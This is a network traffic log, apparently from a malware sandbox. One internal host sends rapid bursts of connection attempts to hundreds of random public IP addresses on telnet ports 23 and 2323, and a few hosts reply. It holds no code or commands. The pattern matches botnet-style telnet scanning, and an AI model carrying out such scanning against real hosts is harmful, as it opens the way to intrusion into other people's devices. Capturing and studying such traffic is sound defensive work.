Dec 2, 2023 10:40:35.181349039 CET	50668	2323	192.168.2.23	161.208.113.46
Dec 2, 2023 10:40:35.181354046 CET	50668	23	192.168.2.23	85.208.48.224
Dec 2, 2023 10:40:35.181354046 CET	50668	23	192.168.2.23	171.123.148.97
Dec 2, 2023 10:40:35.181354046 CET	50668	23	192.168.2.23	175.134.111.224
Dec 2, 2023 10:40:35.181396008 CET	50668	23	192.168.2.23	162.133.201.146
Dec 2, 2023 10:40:35.181402922 CET	50668	23	192.168.2.23	178.236.129.147
Dec 2, 2023 10:40:35.181407928 CET	50668	23	192.168.2.23	13.128.234.177
Dec 2, 2023 10:40:35.181408882 CET	50668	23	192.168.2.23	65.146.171.233
Dec 2, 2023 10:40:35.181418896 CET	50668	23	192.168.2.23	119.71.170.3
Dec 2, 2023 10:40:35.181418896 CET	50668	23	192.168.2.23	80.168.210.29
Dec 2, 2023 10:40:35.181435108 CET	50668	23	192.168.2.23	202.217.98.122
Dec 2, 2023 10:40:35.181441069 CET	50668	23	192.168.2.23	216.245.91.108
Dec 2, 2023 10:40:35.181447983 CET	50668	23	192.168.2.23	209.5.139.59
Dec 2, 2023 10:40:35.181447983 CET	50668	2323	192.168.2.23	119.93.251.115
Dec 2, 2023 10:40:35.181448936 CET	50668	23	192.168.2.23	193.78.54.33
Dec 2, 2023 10:40:35.181469917 CET	50668	23	192.168.2.23	73.215.89.108
Dec 2, 2023 10:40:35.181472063 CET	50668	23	192.168.2.23	34.137.145.1
Dec 2, 2023 10:40:35.181473017 CET	50668	23	192.168.2.23	47.222.39.103
Dec 2, 2023 10:40:35.181479931 CET	50668	23	192.168.2.23	105.139.73.233
Dec 2, 2023 10:40:35.181503057 CET	50668	23	192.168.2.23	95.234.78.236
Dec 2, 2023 10:40:35.181503057 CET	50668	23	192.168.2.23	197.175.215.206
Dec 2, 2023 10:40:35.181525946 CET	50668	23	192.168.2.23	211.186.110.238
Dec 2, 2023 10:40:35.181526899 CET	50668	2323	192.168.2.23	186.171.235.95
Dec 2, 2023 10:40:35.181535959 CET	50668	23	192.168.2.23	60.62.120.252
Dec 2, 2023 10:40:35.181571007 CET	50668	23	192.168.2.23	100.133.164.101
Dec 2, 2023 10:40:35.181574106 CET	50668	23	192.168.2.23	217.231.232.217
Dec 2, 2023 10:40:35.181585073 CET	50668	23	192.168.2.23	147.137.52.31
Dec 2, 2023 10:40:35.181585073 CET	50668	23	192.168.2.23	151.102.95.233
Dec 2, 2023 10:40:35.181608915 CET	50668	23	192.168.2.23	187.99.160.15
Dec 2, 2023 10:40:35.181632042 CET	50668	23	192.168.2.23	71.19.47.25
Dec 2, 2023 10:40:35.181643009 CET	50668	2323	192.168.2.23	113.38.138.60
Dec 2, 2023 10:40:35.181643009 CET	50668	23	192.168.2.23	13.252.60.232
Dec 2, 2023 10:40:35.181648016 CET	50668	23	192.168.2.23	207.81.73.57
Dec 2, 2023 10:40:35.181652069 CET	50668	23	192.168.2.23	90.216.210.210
Dec 2, 2023 10:40:35.181664944 CET	50668	23	192.168.2.23	106.62.131.45
Dec 2, 2023 10:40:35.181672096 CET	50668	23	192.168.2.23	108.118.254.48
Dec 2, 2023 10:40:35.181674957 CET	50668	23	192.168.2.23	1.112.240.82
Dec 2, 2023 10:40:35.181687117 CET	50668	23	192.168.2.23	125.247.100.183
Dec 2, 2023 10:40:35.181693077 CET	50668	23	192.168.2.23	88.154.117.117
Dec 2, 2023 10:40:35.181706905 CET	50668	23	192.168.2.23	126.220.227.82
Dec 2, 2023 10:40:35.181718111 CET	50668	23	192.168.2.23	221.111.241.223
Dec 2, 2023 10:40:35.181741953 CET	50668	23	192.168.2.23	159.42.105.78
Dec 2, 2023 10:40:35.181745052 CET	50668	2323	192.168.2.23	168.25.147.220
Dec 2, 2023 10:40:35.181747913 CET	50668	23	192.168.2.23	93.163.244.194
Dec 2, 2023 10:40:35.181750059 CET	50668	23	192.168.2.23	178.189.3.241
Dec 2, 2023 10:40:35.181754112 CET	50668	23	192.168.2.23	103.71.178.56
Dec 2, 2023 10:40:35.181756973 CET	50668	23	192.168.2.23	75.141.133.172
Dec 2, 2023 10:40:35.181782961 CET	50668	23	192.168.2.23	152.142.106.86
Dec 2, 2023 10:40:35.181787014 CET	50668	23	192.168.2.23	81.94.14.26
Dec 2, 2023 10:40:35.181787968 CET	50668	23	192.168.2.23	174.252.154.227
Dec 2, 2023 10:40:35.181811094 CET	50668	23	192.168.2.23	174.245.42.124
Dec 2, 2023 10:40:35.181811094 CET	50668	23	192.168.2.23	103.6.198.217
Dec 2, 2023 10:40:35.181838989 CET	50668	2323	192.168.2.23	210.0.142.218
Dec 2, 2023 10:40:35.181850910 CET	50668	23	192.168.2.23	20.56.221.102
Dec 2, 2023 10:40:35.181852102 CET	50668	23	192.168.2.23	135.205.94.19
Dec 2, 2023 10:40:35.181852102 CET	50668	23	192.168.2.23	41.221.11.220
Dec 2, 2023 10:40:35.181864023 CET	50668	23	192.168.2.23	217.10.139.43
Dec 2, 2023 10:40:35.181866884 CET	50668	23	192.168.2.23	148.150.66.156
Dec 2, 2023 10:40:35.181868076 CET	50668	23	192.168.2.23	187.142.70.178
Dec 2, 2023 10:40:35.181874990 CET	50668	23	192.168.2.23	113.30.22.9
Dec 2, 2023 10:40:35.181876898 CET	50668	2323	192.168.2.23	73.212.105.119
Dec 2, 2023 10:40:35.181886911 CET	50668	23	192.168.2.23	82.97.114.65
Dec 2, 2023 10:40:35.181907892 CET	50668	23	192.168.2.23	142.4.181.115
Dec 2, 2023 10:40:35.181910038 CET	50668	23	192.168.2.23	95.16.70.8
Dec 2, 2023 10:40:35.181911945 CET	50668	23	192.168.2.23	93.108.140.0
Dec 2, 2023 10:40:35.181919098 CET	50668	23	192.168.2.23	101.123.241.10
Dec 2, 2023 10:40:35.181919098 CET	50668	23	192.168.2.23	44.192.248.107
Dec 2, 2023 10:40:35.181920052 CET	50668	23	192.168.2.23	90.122.28.143
Dec 2, 2023 10:40:35.181919098 CET	50668	23	192.168.2.23	18.25.23.70
Dec 2, 2023 10:40:35.181921005 CET	50668	23	192.168.2.23	101.134.6.245
Dec 2, 2023 10:40:35.181922913 CET	50668	23	192.168.2.23	109.51.223.135
Dec 2, 2023 10:40:35.181930065 CET	50668	2323	192.168.2.23	205.180.168.102
Dec 2, 2023 10:40:35.181931973 CET	50668	23	192.168.2.23	209.246.21.234
Dec 2, 2023 10:40:35.181934118 CET	50668	23	192.168.2.23	136.107.81.200
Dec 2, 2023 10:40:35.181948900 CET	50668	23	192.168.2.23	79.2.161.183
Dec 2, 2023 10:40:35.181957960 CET	50668	23	192.168.2.23	69.134.84.196
Dec 2, 2023 10:40:35.181963921 CET	50668	23	192.168.2.23	103.177.254.187
Dec 2, 2023 10:40:35.181963921 CET	50668	23	192.168.2.23	72.113.48.137
Dec 2, 2023 10:40:35.181991100 CET	50668	23	192.168.2.23	80.109.152.52
Dec 2, 2023 10:40:35.181993961 CET	50668	23	192.168.2.23	169.135.84.98
Dec 2, 2023 10:40:35.182090998 CET	50668	23	192.168.2.23	8.10.155.114
Dec 2, 2023 10:40:35.182097912 CET	50668	23	192.168.2.23	208.192.162.43
Dec 2, 2023 10:40:35.182099104 CET	50668	2323	192.168.2.23	105.87.48.186
Dec 2, 2023 10:40:35.182101965 CET	50668	23	192.168.2.23	180.201.3.21
Dec 2, 2023 10:40:35.182106018 CET	50668	23	192.168.2.23	179.226.213.54
Dec 2, 2023 10:40:35.182106018 CET	50668	23	192.168.2.23	170.247.211.250
Dec 2, 2023 10:40:35.182138920 CET	50668	23	192.168.2.23	154.39.246.0
Dec 2, 2023 10:40:35.182142973 CET	50668	23	192.168.2.23	12.187.132.35
Dec 2, 2023 10:40:35.182143927 CET	50668	23	192.168.2.23	147.57.242.59
Dec 2, 2023 10:40:35.182147026 CET	50668	23	192.168.2.23	126.198.117.236
Dec 2, 2023 10:40:35.182187080 CET	50668	2323	192.168.2.23	202.21.16.237
Dec 2, 2023 10:40:35.182199001 CET	50668	23	192.168.2.23	163.89.76.10
Dec 2, 2023 10:40:35.182199001 CET	50668	23	192.168.2.23	96.202.225.12
Dec 2, 2023 10:40:35.182207108 CET	50668	23	192.168.2.23	206.44.165.79
Dec 2, 2023 10:40:35.182207108 CET	50668	23	192.168.2.23	221.209.254.208
Dec 2, 2023 10:40:35.182210922 CET	50668	23	192.168.2.23	66.12.180.36
Dec 2, 2023 10:40:35.182210922 CET	50668	23	192.168.2.23	208.223.7.181
Dec 2, 2023 10:40:35.182226896 CET	50668	23	192.168.2.23	65.86.15.218
Dec 2, 2023 10:40:35.182281971 CET	50668	23	192.168.2.23	111.65.145.67
Dec 2, 2023 10:40:35.182281971 CET	50668	23	192.168.2.23	165.145.48.2
Dec 2, 2023 10:40:35.182281971 CET	50668	23	192.168.2.23	37.244.247.160
Dec 2, 2023 10:40:35.182287931 CET	50668	2323	192.168.2.23	117.27.171.196
Dec 2, 2023 10:40:35.182296991 CET	50668	23	192.168.2.23	222.160.36.139
Dec 2, 2023 10:40:35.182305098 CET	50668	23	192.168.2.23	221.230.110.203
Dec 2, 2023 10:40:35.182306051 CET	50668	23	192.168.2.23	67.52.125.101
Dec 2, 2023 10:40:35.182306051 CET	50668	23	192.168.2.23	13.197.178.216
Dec 2, 2023 10:40:35.182338953 CET	50668	23	192.168.2.23	160.229.34.49
Dec 2, 2023 10:40:35.182339907 CET	50668	23	192.168.2.23	98.129.216.226
Dec 2, 2023 10:40:35.182353973 CET	50668	23	192.168.2.23	149.92.4.12
Dec 2, 2023 10:40:35.182359934 CET	50668	23	192.168.2.23	183.64.142.128
Dec 2, 2023 10:40:35.182362080 CET	50668	2323	192.168.2.23	141.132.250.138
Dec 2, 2023 10:40:35.182395935 CET	50668	23	192.168.2.23	188.143.125.181
Dec 2, 2023 10:40:35.182398081 CET	50668	23	192.168.2.23	141.255.66.52
Dec 2, 2023 10:40:35.182399035 CET	50668	23	192.168.2.23	181.6.217.35
Dec 2, 2023 10:40:35.182398081 CET	50668	23	192.168.2.23	68.0.84.20
Dec 2, 2023 10:40:35.182399988 CET	50668	23	192.168.2.23	90.149.53.194
Dec 2, 2023 10:40:35.182400942 CET	50668	23	192.168.2.23	86.120.146.252
Dec 2, 2023 10:40:35.182399988 CET	50668	23	192.168.2.23	85.109.30.42
Dec 2, 2023 10:40:35.182400942 CET	50668	23	192.168.2.23	80.14.213.106
Dec 2, 2023 10:40:35.182399988 CET	50668	23	192.168.2.23	13.232.175.167
Dec 2, 2023 10:40:35.182400942 CET	50668	23	192.168.2.23	119.141.187.113
Dec 2, 2023 10:40:35.182400942 CET	50668	23	192.168.2.23	166.97.89.182
Dec 2, 2023 10:40:35.182425022 CET	50668	2323	192.168.2.23	117.40.109.157
Dec 2, 2023 10:40:35.182425976 CET	50668	23	192.168.2.23	13.67.208.79
Dec 2, 2023 10:40:35.182425976 CET	50668	23	192.168.2.23	152.56.43.182
Dec 2, 2023 10:40:35.182435989 CET	50668	23	192.168.2.23	82.124.33.181
Dec 2, 2023 10:40:35.182436943 CET	50668	23	192.168.2.23	2.24.223.211
Dec 2, 2023 10:40:35.182435989 CET	50668	23	192.168.2.23	169.237.83.124
Dec 2, 2023 10:40:35.182436943 CET	50668	23	192.168.2.23	159.58.93.147
Dec 2, 2023 10:40:35.182456970 CET	50668	23	192.168.2.23	126.68.189.64
Dec 2, 2023 10:40:35.182459116 CET	50668	23	192.168.2.23	191.255.236.247
Dec 2, 2023 10:40:35.182466030 CET	50668	23	192.168.2.23	120.75.136.215
Dec 2, 2023 10:40:35.182468891 CET	50668	23	192.168.2.23	34.196.121.160
Dec 2, 2023 10:40:35.182468891 CET	50668	2323	192.168.2.23	122.93.244.79
Dec 2, 2023 10:40:35.182482958 CET	50668	23	192.168.2.23	108.56.217.110
Dec 2, 2023 10:40:35.182486057 CET	50668	23	192.168.2.23	165.197.34.13
Dec 2, 2023 10:40:35.182491064 CET	50668	23	192.168.2.23	223.4.54.6
Dec 2, 2023 10:40:35.182502031 CET	50668	23	192.168.2.23	157.145.28.195
Dec 2, 2023 10:40:35.182511091 CET	50668	23	192.168.2.23	60.250.47.28
Dec 2, 2023 10:40:35.182521105 CET	50668	23	192.168.2.23	148.99.27.72
Dec 2, 2023 10:40:35.182539940 CET	50668	23	192.168.2.23	68.180.130.150
Dec 2, 2023 10:40:35.182554007 CET	50668	23	192.168.2.23	180.190.254.14
Dec 2, 2023 10:40:35.335112095 CET	23	50668	75.141.133.172	192.168.2.23
Dec 2, 2023 10:40:35.441262960 CET	23	50668	126.220.227.82	192.168.2.23
Dec 2, 2023 10:40:35.473912001 CET	23	50668	218.144.231.116	192.168.2.23
Dec 2, 2023 10:40:35.476754904 CET	23	50668	60.250.47.28	192.168.2.23
Dec 2, 2023 10:40:35.485765934 CET	2323	50668	119.93.251.115	192.168.2.23
Dec 2, 2023 10:40:35.591238976 CET	23	50668	105.139.73.233	192.168.2.23
Dec 2, 2023 10:40:36.183648109 CET	50668	2323	192.168.2.23	184.145.157.203
Dec 2, 2023 10:40:36.183665037 CET	50668	23	192.168.2.23	116.161.209.99
Dec 2, 2023 10:40:36.183717012 CET	50668	23	192.168.2.23	100.8.132.96
Dec 2, 2023 10:40:36.183732033 CET	50668	23	192.168.2.23	111.226.245.52
Dec 2, 2023 10:40:36.183732033 CET	50668	23	192.168.2.23	208.29.214.225
Dec 2, 2023 10:40:36.183743954 CET	50668	23	192.168.2.23	110.86.128.7
Dec 2, 2023 10:40:36.183743954 CET	50668	23	192.168.2.23	139.209.253.79
Dec 2, 2023 10:40:36.183768988 CET	50668	23	192.168.2.23	183.55.202.2
Dec 2, 2023 10:40:36.183773994 CET	50668	23	192.168.2.23	4.52.210.33
Dec 2, 2023 10:40:36.183799028 CET	50668	23	192.168.2.23	115.62.233.128
Dec 2, 2023 10:40:36.183813095 CET	50668	23	192.168.2.23	141.247.118.114
Dec 2, 2023 10:40:36.183815956 CET	50668	23	192.168.2.23	156.13.26.238
Dec 2, 2023 10:40:36.183815956 CET	50668	23	192.168.2.23	104.130.69.117
Dec 2, 2023 10:40:36.183819056 CET	50668	2323	192.168.2.23	171.207.90.186
Dec 2, 2023 10:40:36.183832884 CET	50668	23	192.168.2.23	179.56.143.7
Dec 2, 2023 10:40:36.183842897 CET	50668	23	192.168.2.23	212.125.46.134
Dec 2, 2023 10:40:36.183842897 CET	50668	23	192.168.2.23	184.65.209.159
Dec 2, 2023 10:40:36.183842897 CET	50668	23	192.168.2.23	194.92.88.49
Dec 2, 2023 10:40:36.183859110 CET	50668	23	192.168.2.23	204.91.123.32
Dec 2, 2023 10:40:36.183862925 CET	50668	23	192.168.2.23	194.224.174.234
Dec 2, 2023 10:40:36.183862925 CET	50668	23	192.168.2.23	32.217.118.236
Dec 2, 2023 10:40:36.183864117 CET	50668	23	192.168.2.23	79.98.158.140
Dec 2, 2023 10:40:36.183871984 CET	50668	23	192.168.2.23	70.176.18.181
Dec 2, 2023 10:40:36.183872938 CET	50668	23	192.168.2.23	222.157.13.70
Dec 2, 2023 10:40:36.183872938 CET	50668	2323	192.168.2.23	31.121.11.192
Dec 2, 2023 10:40:36.183887959 CET	50668	23	192.168.2.23	88.37.8.150
Dec 2, 2023 10:40:36.183893919 CET	50668	23	192.168.2.23	44.242.120.65
Dec 2, 2023 10:40:36.183902979 CET	50668	23	192.168.2.23	118.202.195.88
Dec 2, 2023 10:40:36.183912992 CET	50668	23	192.168.2.23	67.78.163.70
Dec 2, 2023 10:40:36.183912992 CET	50668	23	192.168.2.23	174.5.204.220
Dec 2, 2023 10:40:36.183916092 CET	50668	23	192.168.2.23	145.49.11.196
Dec 2, 2023 10:40:36.183922052 CET	50668	23	192.168.2.23	13.240.221.41
Dec 2, 2023 10:40:36.183922052 CET	50668	23	192.168.2.23	31.112.66.221
Dec 2, 2023 10:40:36.183938980 CET	50668	23	192.168.2.23	222.96.171.105
Dec 2, 2023 10:40:36.183939934 CET	50668	2323	192.168.2.23	27.96.219.130
Dec 2, 2023 10:40:36.183939934 CET	50668	23	192.168.2.23	31.152.119.181
Dec 2, 2023 10:40:36.183939934 CET	50668	23	192.168.2.23	92.129.56.97
Dec 2, 2023 10:40:36.183948994 CET	50668	23	192.168.2.23	123.126.12.21
Dec 2, 2023 10:40:36.183948994 CET	50668	23	192.168.2.23	58.209.233.170
Dec 2, 2023 10:40:36.183954000 CET	50668	2323	192.168.2.23	211.202.54.115
Dec 2, 2023 10:40:36.183964014 CET	50668	23	192.168.2.23	183.21.123.85
Dec 2, 2023 10:40:36.183990955 CET	50668	23	192.168.2.23	36.85.175.110
Dec 2, 2023 10:40:36.183994055 CET	50668	23	192.168.2.23	207.137.97.42
Dec 2, 2023 10:40:36.184011936 CET	50668	23	192.168.2.23	217.84.140.59
Dec 2, 2023 10:40:36.184012890 CET	50668	23	192.168.2.23	191.75.44.233
Dec 2, 2023 10:40:36.184015989 CET	50668	23	192.168.2.23	170.36.123.133
Dec 2, 2023 10:40:36.184024096 CET	50668	23	192.168.2.23	79.199.173.206
Dec 2, 2023 10:40:36.184045076 CET	50668	23	192.168.2.23	5.66.125.248
Dec 2, 2023 10:40:36.184061050 CET	50668	23	192.168.2.23	82.88.43.201
Dec 2, 2023 10:40:36.184061050 CET	50668	23	192.168.2.23	121.31.46.49
Dec 2, 2023 10:40:36.184066057 CET	50668	2323	192.168.2.23	123.189.207.247
Dec 2, 2023 10:40:36.184066057 CET	50668	23	192.168.2.23	175.90.182.11
Dec 2, 2023 10:40:36.184072018 CET	50668	23	192.168.2.23	75.147.1.18
Dec 2, 2023 10:40:36.184072971 CET	50668	23	192.168.2.23	210.61.138.238
Dec 2, 2023 10:40:36.184073925 CET	50668	23	192.168.2.23	78.242.151.80
Dec 2, 2023 10:40:36.184084892 CET	50668	23	192.168.2.23	27.11.220.176
Dec 2, 2023 10:40:36.184091091 CET	50668	23	192.168.2.23	109.127.133.234
Dec 2, 2023 10:40:36.184092999 CET	50668	23	192.168.2.23	54.121.151.238
Dec 2, 2023 10:40:36.184092999 CET	50668	23	192.168.2.23	195.90.200.128
Dec 2, 2023 10:40:36.184113026 CET	50668	23	192.168.2.23	136.0.19.0
Dec 2, 2023 10:40:36.184113979 CET	50668	23	192.168.2.23	59.134.58.236
Dec 2, 2023 10:40:36.184114933 CET	50668	23	192.168.2.23	63.110.206.131
Dec 2, 2023 10:40:36.184134960 CET	50668	23	192.168.2.23	79.54.63.178
Dec 2, 2023 10:40:36.184134960 CET	50668	2323	192.168.2.23	82.4.115.108
Dec 2, 2023 10:40:36.184154034 CET	50668	23	192.168.2.23	186.145.56.140
Dec 2, 2023 10:40:36.184153080 CET	50668	23	192.168.2.23	45.120.95.40
Dec 2, 2023 10:40:36.184153080 CET	50668	23	192.168.2.23	152.160.83.189
Dec 2, 2023 10:40:36.184153080 CET	50668	23	192.168.2.23	75.167.244.234
Dec 2, 2023 10:40:36.184153080 CET	50668	23	192.168.2.23	48.185.14.11
Dec 2, 2023 10:40:36.184170008 CET	50668	2323	192.168.2.23	198.88.185.211
Dec 2, 2023 10:40:36.184180975 CET	50668	23	192.168.2.23	102.202.188.163
Dec 2, 2023 10:40:36.184182882 CET	50668	23	192.168.2.23	207.186.186.234
Dec 2, 2023 10:40:36.184182882 CET	50668	23	192.168.2.23	210.123.230.68
Dec 2, 2023 10:40:36.184186935 CET	50668	23	192.168.2.23	83.127.156.98
Dec 2, 2023 10:40:36.184195042 CET	50668	23	192.168.2.23	106.27.8.76
Dec 2, 2023 10:40:36.184199095 CET	50668	23	192.168.2.23	207.175.41.81
Dec 2, 2023 10:40:36.184202909 CET	50668	23	192.168.2.23	162.49.82.32
Dec 2, 2023 10:40:36.184209108 CET	50668	23	192.168.2.23	159.121.200.113
Dec 2, 2023 10:40:36.184211969 CET	50668	2323	192.168.2.23	223.137.143.204
Dec 2, 2023 10:40:36.184226036 CET	50668	23	192.168.2.23	116.188.172.132
Dec 2, 2023 10:40:36.184226036 CET	50668	23	192.168.2.23	117.207.206.162
Dec 2, 2023 10:40:36.184226036 CET	50668	23	192.168.2.23	151.152.105.37
Dec 2, 2023 10:40:36.184245110 CET	50668	23	192.168.2.23	99.32.6.100
Dec 2, 2023 10:40:36.184258938 CET	50668	23	192.168.2.23	61.173.245.122
Dec 2, 2023 10:40:36.184267998 CET	50668	23	192.168.2.23	148.136.171.169
Dec 2, 2023 10:40:36.184272051 CET	50668	23	192.168.2.23	159.200.246.205
Dec 2, 2023 10:40:36.184277058 CET	50668	23	192.168.2.23	63.211.102.101
Dec 2, 2023 10:40:36.184300900 CET	50668	2323	192.168.2.23	176.100.4.187
Dec 2, 2023 10:40:36.184303045 CET	50668	23	192.168.2.23	53.200.44.120
Dec 2, 2023 10:40:36.184303045 CET	50668	23	192.168.2.23	76.199.100.65
Dec 2, 2023 10:40:36.184303045 CET	50668	23	192.168.2.23	141.198.77.156
Dec 2, 2023 10:40:36.184339046 CET	50668	23	192.168.2.23	180.220.22.10
Dec 2, 2023 10:40:36.184340000 CET	50668	23	192.168.2.23	73.21.179.160
Dec 2, 2023 10:40:36.184339046 CET	50668	23	192.168.2.23	185.33.221.169
Dec 2, 2023 10:40:36.184340000 CET	50668	23	192.168.2.23	148.105.129.85
Dec 2, 2023 10:40:36.184339046 CET	50668	23	192.168.2.23	162.77.246.151
Dec 2, 2023 10:40:36.184340954 CET	50668	23	192.168.2.23	2.56.188.239
Dec 2, 2023 10:40:36.184343100 CET	50668	23	192.168.2.23	104.192.230.31
Dec 2, 2023 10:40:36.184343100 CET	50668	23	192.168.2.23	63.232.124.241
Dec 2, 2023 10:40:36.184343100 CET	50668	23	192.168.2.23	177.250.18.165
Dec 2, 2023 10:40:36.184367895 CET	50668	23	192.168.2.23	35.11.37.52
Dec 2, 2023 10:40:36.184367895 CET	50668	23	192.168.2.23	121.73.149.235
Dec 2, 2023 10:40:36.184370041 CET	50668	23	192.168.2.23	72.112.241.231
Dec 2, 2023 10:40:36.184370041 CET	50668	23	192.168.2.23	32.166.7.141
Dec 2, 2023 10:40:36.184381008 CET	50668	2323	192.168.2.23	202.63.228.171
Dec 2, 2023 10:40:36.184381962 CET	50668	23	192.168.2.23	57.185.17.208
Dec 2, 2023 10:40:36.184386015 CET	50668	23	192.168.2.23	62.57.103.14
Dec 2, 2023 10:40:36.184392929 CET	50668	23	192.168.2.23	189.2.42.129
Dec 2, 2023 10:40:36.184396982 CET	50668	23	192.168.2.23	97.173.80.207
Dec 2, 2023 10:40:36.184405088 CET	50668	23	192.168.2.23	218.180.30.241
Dec 2, 2023 10:40:36.184406042 CET	50668	2323	192.168.2.23	207.116.191.26
Dec 2, 2023 10:40:36.184423923 CET	50668	23	192.168.2.23	112.157.124.189
Dec 2, 2023 10:40:36.184423923 CET	50668	23	192.168.2.23	40.62.111.153
Dec 2, 2023 10:40:36.184425116 CET	50668	23	192.168.2.23	44.50.109.123
Dec 2, 2023 10:40:36.184458017 CET	50668	23	192.168.2.23	87.122.130.184
Dec 2, 2023 10:40:36.184458971 CET	50668	23	192.168.2.23	213.100.242.149
Dec 2, 2023 10:40:36.184468031 CET	50668	23	192.168.2.23	88.180.188.229
Dec 2, 2023 10:40:36.184468031 CET	50668	23	192.168.2.23	70.249.253.146
Dec 2, 2023 10:40:36.184473991 CET	50668	23	192.168.2.23	80.105.162.242
Dec 2, 2023 10:40:36.184484005 CET	50668	23	192.168.2.23	89.190.154.4
Dec 2, 2023 10:40:36.184489965 CET	50668	23	192.168.2.23	77.33.252.94
Dec 2, 2023 10:40:36.184499979 CET	50668	2323	192.168.2.23	59.228.68.173
Dec 2, 2023 10:40:36.184500933 CET	50668	23	192.168.2.23	121.110.95.93
Dec 2, 2023 10:40:36.184500933 CET	50668	23	192.168.2.23	96.43.102.109
Dec 2, 2023 10:40:36.184509039 CET	50668	23	192.168.2.23	66.207.184.116
Dec 2, 2023 10:40:36.184509039 CET	50668	23	192.168.2.23	196.103.235.9
Dec 2, 2023 10:40:36.184509039 CET	50668	23	192.168.2.23	200.212.79.157
Dec 2, 2023 10:40:36.184511900 CET	50668	23	192.168.2.23	68.225.5.185
Dec 2, 2023 10:40:36.184516907 CET	50668	23	192.168.2.23	13.197.152.177
Dec 2, 2023 10:40:36.184520960 CET	50668	23	192.168.2.23	188.164.251.73
Dec 2, 2023 10:40:36.184520960 CET	50668	2323	192.168.2.23	154.158.255.17
Dec 2, 2023 10:40:36.184530973 CET	50668	23	192.168.2.23	154.66.87.66
Dec 2, 2023 10:40:36.184552908 CET	50668	23	192.168.2.23	77.69.226.124
Dec 2, 2023 10:40:36.184567928 CET	50668	23	192.168.2.23	213.202.122.142
Dec 2, 2023 10:40:36.184570074 CET	50668	23	192.168.2.23	46.142.180.176
Dec 2, 2023 10:40:36.184571028 CET	50668	23	192.168.2.23	156.104.111.218
Dec 2, 2023 10:40:36.184576988 CET	50668	23	192.168.2.23	124.145.184.73
Dec 2, 2023 10:40:36.184576988 CET	50668	23	192.168.2.23	67.74.135.88
Dec 2, 2023 10:40:36.184581995 CET	50668	23	192.168.2.23	91.117.185.236
Dec 2, 2023 10:40:36.184582949 CET	50668	23	192.168.2.23	218.133.67.179
Dec 2, 2023 10:40:36.184602022 CET	50668	23	192.168.2.23	34.107.77.153
Dec 2, 2023 10:40:36.184602022 CET	50668	2323	192.168.2.23	192.222.205.71
Dec 2, 2023 10:40:36.184607983 CET	50668	23	192.168.2.23	117.48.157.21
Dec 2, 2023 10:40:36.184612989 CET	50668	23	192.168.2.23	24.162.100.39
Dec 2, 2023 10:40:36.184612989 CET	50668	23	192.168.2.23	96.194.134.133
Dec 2, 2023 10:40:36.184668064 CET	50668	23	192.168.2.23	107.77.169.67
Dec 2, 2023 10:40:36.184668064 CET	50668	23	192.168.2.23	124.169.247.35
Dec 2, 2023 10:40:36.184669971 CET	50668	23	192.168.2.23	97.25.15.190
Dec 2, 2023 10:40:36.184679985 CET	50668	23	192.168.2.23	98.108.107.231
Dec 2, 2023 10:40:36.184698105 CET	50668	23	192.168.2.23	213.99.70.215
Dec 2, 2023 10:40:36.184698105 CET	50668	23	192.168.2.23	88.105.132.239
Dec 2, 2023 10:40:36.184719086 CET	50668	23	192.168.2.23	173.217.11.11
Dec 2, 2023 10:40:36.184719086 CET	50668	2323	192.168.2.23	93.200.198.135
Dec 2, 2023 10:40:36.184719086 CET	50668	23	192.168.2.23	18.12.238.212
Dec 2, 2023 10:40:36.184721947 CET	50668	23	192.168.2.23	95.209.96.152
Dec 2, 2023 10:40:36.184724092 CET	50668	23	192.168.2.23	141.31.225.220
Dec 2, 2023 10:40:36.184729099 CET	50668	23	192.168.2.23	103.64.94.169
Dec 2, 2023 10:40:36.184729099 CET	50668	23	192.168.2.23	179.255.28.137
Dec 2, 2023 10:40:36.184736967 CET	50668	23	192.168.2.23	124.26.23.132
Dec 2, 2023 10:40:36.184741974 CET	50668	23	192.168.2.23	45.204.91.25
Dec 2, 2023 10:40:36.286101103 CET	23	50668	66.207.184.116	192.168.2.23
Dec 2, 2023 10:40:36.370363951 CET	23	50668	195.90.200.128	192.168.2.23
Dec 2, 2023 10:40:36.461134911 CET	23	50668	189.2.42.129	192.168.2.23
Dec 2, 2023 10:40:36.475665092 CET	23	50668	210.123.230.68	192.168.2.23
Dec 2, 2023 10:40:36.498238087 CET	2323	50668	211.202.54.115	192.168.2.23
Dec 2, 2023 10:40:36.603509903 CET	2323	50668	123.189.207.247	192.168.2.23
Dec 2, 2023 10:40:37.185755968 CET	50668	2323	192.168.2.23	104.244.184.151
Dec 2, 2023 10:40:37.185755968 CET	50668	23	192.168.2.23	97.240.224.6
Dec 2, 2023 10:40:37.185776949 CET	50668	23	192.168.2.23	27.58.146.45
Dec 2, 2023 10:40:37.185800076 CET	50668	23	192.168.2.23	146.196.28.221
Dec 2, 2023 10:40:37.185805082 CET	50668	23	192.168.2.23	90.2.89.208
Dec 2, 2023 10:40:37.185806036 CET	50668	23	192.168.2.23	115.178.180.186
Dec 2, 2023 10:40:37.185818911 CET	50668	23	192.168.2.23	75.199.59.251
Dec 2, 2023 10:40:37.185825109 CET	50668	23	192.168.2.23	57.119.68.26
Dec 2, 2023 10:40:37.185827971 CET	50668	23	192.168.2.23	165.49.47.223
Dec 2, 2023 10:40:37.185838938 CET	50668	23	192.168.2.23	39.199.167.0
Dec 2, 2023 10:40:37.185839891 CET	50668	23	192.168.2.23	39.185.151.237
Dec 2, 2023 10:40:37.185894012 CET	50668	2323	192.168.2.23	145.123.217.222
Dec 2, 2023 10:40:37.185969114 CET	50668	23	192.168.2.23	74.131.176.43
Dec 2, 2023 10:40:37.185970068 CET	50668	23	192.168.2.23	113.66.71.53
Dec 2, 2023 10:40:37.185970068 CET	50668	23	192.168.2.23	97.254.211.161
Dec 2, 2023 10:40:37.185971022 CET	50668	23	192.168.2.23	221.63.125.135
Dec 2, 2023 10:40:37.185982943 CET	50668	23	192.168.2.23	90.203.77.186
Dec 2, 2023 10:40:37.185985088 CET	50668	23	192.168.2.23	217.211.39.45
Dec 2, 2023 10:40:37.185987949 CET	50668	23	192.168.2.23	58.184.249.235
Dec 2, 2023 10:40:37.185987949 CET	50668	23	192.168.2.23	23.61.138.84
Dec 2, 2023 10:40:37.185986996 CET	50668	23	192.168.2.23	152.8.56.169
Dec 2, 2023 10:40:37.185987949 CET	50668	2323	192.168.2.23	135.180.212.144
Dec 2, 2023 10:40:37.186002016 CET	50668	23	192.168.2.23	71.107.61.29
Dec 2, 2023 10:40:37.186002016 CET	50668	23	192.168.2.23	19.34.117.107
Dec 2, 2023 10:40:37.186003923 CET	50668	23	192.168.2.23	71.79.52.203
Dec 2, 2023 10:40:37.186007977 CET	50668	23	192.168.2.23	179.40.225.168
